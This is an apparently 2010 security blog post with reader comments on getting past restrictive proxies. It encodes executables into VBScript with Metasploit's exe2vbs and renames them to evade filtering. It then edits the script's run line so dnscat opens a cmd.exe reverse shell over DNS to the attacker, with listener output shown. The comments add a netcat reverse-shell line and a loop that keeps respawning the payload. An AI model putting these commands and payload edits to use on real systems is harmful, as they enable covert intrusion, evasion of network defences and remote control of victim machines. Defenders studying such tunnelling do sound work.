Saturday, June 19, 2010

Bypassing Restrictive Proxies Part 1, Encoded Executables and DNS Tunneling

Uses for Download and Execute Script Shellcode

A little while back I posted my Download and Execute Script shellcode and mentioned that it could be used in bypassing restrictive proxy servers.  In this post I will give some quick examples of how you can actually do that.

The example scenarios I will describe are as follows, and involve having the script that is downloaded and executed:
  • write an arbitrary executable to disk and run it, or
  • open a reverse_http shell back through the restrictive proxy to the attackers system

Write an Executable to Disk and Run It

This scenario simply involves creating a vbscript file that contains an encoded copy of your chosen executable, that when run will decode the file, write it to disk, and then run it.  The end result of this is exactly the same as with regular download and execute shellcode, however unlike with regular download and execute shellcode this method will get past restrictive proxy servers that block files with executable content (you just need to make sure that the proxy server isn't also going to block pages with any of the script commands you have used, and if it does - obfuscate!). 

I was all set to write up a little program to automate this process of encoding an executable into a VBScript file, but then I stumbled onto the fact that a script to do this already exists - in Metasploit!

The script is called exe2vbs.rb and it sits inside the tools directory in the Metasploit 3 install directory.  Assuming your Metasploit3 install directory is /opt/metasploit3/ run it like so:

lupin@lion:~$ /opt/metasploit3/msf3/tools/exe2vbs.rb
    Usage: /opt/metasploit3/msf3/tools/exe2vbs.rb [exe] [vbs]

So as an example, if you want to encode your executable trojan.exe into a vbscript trojan.vbs, use the following command line

lupin@lion:~$ /opt/metasploit3/msf3/tools/exe2vbs.rb trojan.exe trojan.vbs
[*] Converted 282624 bytes of EXE into a vbs script

You now have a VB Script file that you can host on a webserver, which when run will write your encoded executable to disk and execute it.  Just rename the extension of the file to something innocuous like .tmp to bypass proxy filename filtering, stick the script file on a webserver, and create an exploit using the Download and Execute Script shellcode as demonstrated in the Usage Examples section of this post.

DNS Tunneling


What type of executables should you download onto the target system, supposing you actually want to do something useful on the target system and given that the system exists within a restrictive environment?  Well, one potential tool is Dnscat, which can allow you to tunnel a shell out of the network via DNS, a protocol which is likely to be allowed to communicate externally even in some restrictive environments. 

Running Dnscat to tunnel a shell out of a system does require some command line options to be used with the executable, however this is not a problem because you can add any necessary command line options to the executable bound into your script file by modifying the "run" line in the script file.  Lets look at an example:

Download the Windows version of Dnscat and encode like so:

lupin@lion:~/Downloads/nbtool/nbtool-0.04$ /opt/metasploit3/msf3/tools/exe2vbs.rb dnscat.exe dnscat.vbs
[*] Converted 121344 bytes of EXE into a vbs script

Then in the output vbs file look for a line similar to the following.  Your line will likely look a little different because the variable names are being randomised by the exe2vbs.rb script, but just keep your eye out for ".run" appearing at the end of the first word in a line near the end of the file.

cgbKynYWc.run CDWPYlgAnS, 0, true

Then modify this line to look like the following, replacing subdomain.example.com with your own DNS domain

cgbKynYWc.run CDWPYlgAnS & " --domain subdomain.example.com --exec ""cmd.exe""", 0, true

Essentially I have just added the following text to the line just before the first comma, these are the command line parameters that will be fed to the dsncat executable when it is run by the script:

& " --domain subdomain.example.com --exec ""cmd.exe"""

Once that is done execute the script on your victim machine using an exploit, and if you are running a dnscat listener on your attacking machine ('dnscat --listen' as root) when the script runs you will receive a shell back via DNS:

lupin@lion:~$ sudo dnscat --listen
Waiting for DNS requests for domain '*' on 0.0.0.0:53...
Timeout has occurred, resetting state
Received SYN!
Sending 'ACK'
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\>

Please note that this DNS shell tunneling method requires that your system be acting as the authorative name server for your chosen domain, AND it doesn't work in all environments (it certainly won't work when split DNS is implemented, but in some other cases it won't work either).  Read the dnscat wiki entry and this guide on DNS tunneling to learn more.  If you want to test this locally without having a nameserver for your own domain, add the "--dns 192.168.56.1" switch to the modified run command in your script, where 192.168.56.1 should be replaced with the IP address (don't use a DNS name) of your attacking system.

Note that directly specifying the IP address of your attacking system like this won't work in (properly configured) restrictive environments - direct client connections to external DNS servers should not be permitted and all DNS queries should be sent through the environments configured DNS server, in which case they will only reach your attacking system if its acting as an authorative name server for the chosen domain.

The next entry in this series will cover how to tunnel out a shell via the restrictive proxy itself, using some slightly modified Metasploit reverse_http code.

8 comments:

  1. Hi there,
    I am a fun of your blog. I found it when I was looking for bad chars problems and I ended up reading the whole blog. Ok now seriously :) I got stuck when I started writing this message on the "download and execute" payload. I then found out that It was loading the widecapd module (widecap is a proxifier) and crash. I still don't understand why It was loading such module though widecap was turned off, so I removed the application and now the payload works good.

    Thank you for posting and sharing.

    maudits

    ReplyDelete
  2. Hi I hope you are good and you enjoyed the holydays.
    I have just tried the same technique but with netcat and worked perfect. Thanks for the post

    gyGJRaATQdsEpP.run xFrFCDxGxMhPO & " 192.168.1.3 9999 -e ""cmd.exe""", 0, true

    the double quotes have to be repeated around cmd.exe otherwise It doesn't work, why?

    Cheers,
    maudits

    ReplyDelete
  3. maudits

    Question 1: The widecapd module may have been hooking the urldownloadtofile() API call used by the Download and Execute Shellcode. This API call is part of Internet Explorer from the urlmon.dll module, so widecapd may have been capturing calls to this API so that it could proxify them. Just a theory.

    Question 2: You need the extra double quotes to actually include a double quote inside a VBScript string. Thats just the way the syntax of VBScript works... you cant use single quoted strings in VBScript like in some other languages, so you need to add extra double quotes to actually include the double quote character in your string.

    ReplyDelete
  4. if I may add, I found that dnscat.exe is very "unstable", "picky" and the connection just dies at first error...
    so, to make sure that the dnscat.exe will respawn after dying I modified the .vbs file as follows:

    at the very end of the VBS file you'll find something that looks like this:

    <--snip-->
    bqjItynFeQ.DeleteFolder(xyAfaUUPmlPy)
    End Function
    VpwtbXwwfn
    <--/snip-->

    What you might want to do is after "End Function" make it look like this:

    <--snip-->
    bqjItynFeQ.DeleteFolder(xyAfaUUPmlPy)
    End Function
    Do
    VpwtbXwwfn
    WScript.Sleep 10000
    Loop
    <--/snip-->

    so, instead of writing dnscat.exe to disk and executing it only once then quitting, it will check every 10 seconds "10000 millisecond" for the existence of dnscat.exe in the running processes, if it is not there, it'll just write it again to disk and execute it...

    that trick helped me a lot, hope it will do the same for someone else...

    PS:I got that idea from "msfencode -t loop-vbs"

    ReplyDelete
  5. Sherif

    Good tip.

    I have noticed some issues with dnscat myself, including complete failures to work in certain environments. I havent tested again since the last update though..

    ReplyDelete
  6. Hi There

    I would like to point out that you made an error in using metasploit's exe2vbs encoder for dnscat to use as an exploit in Vbscript WORD macro. Reason is simple. I refer you to RON Bowes page regarding the use of DNSCAT --listen mode.

    To actually receive DNS traffic, you require :
    An authoritative nameserver.
    This is my point. DNSCat is only good for a tunneling client-server-exploit on a DNS Server. The documentation already states it.
    OK. When we run dnscat as server
    C:\>dnscat --domain "yourdomain.com" --listen --exec "cmd.exe"
    Waiting for DNS requests for domain 'arbitrary.com' on 0.0.0.0:53...

    If that exploit ran on a server or host other than a DNS server the will no Port Forwarding and an opened port 53 on the exploited machine to allow your connection to it. So how in the world will you be able to connect to it? Like such:

    dnscat --dns --domain "arbitrary.com"

    Back to my point your choice of Word VBScript macro to launch the exploit presumably only a Windows DNS server and with MS Word installed and for it to actually launch if someone were to open a Word document on the Windows DNS server machine chances are close to impossible.

    ReplyDelete
  7. stboon

    I think you may have misunderstood. The attackers system needs to be an authorised nameserver for that connect back method to work, NOT the victim system. Port forwarding has nothing to do with it.

    And thats VB script, NOT VBA script. VBA script runs in Office apps such as Word, VB script runs using the Windows Scripting Host included with all Windows systems XP and above.

    So you dont need the victim to be a Windows DNS server running Word, they just need to be a Windows system that can run the Windows Scripting Host and make DNS requests to authorative name servers on the Internet.

    ReplyDelete
  8. exe2vbs.rb converted vbs not working on non-enlish version OS , give me "The NTVDM CPU has encountered an illegal instruction ... " error . any idea ? thanks

    ReplyDelete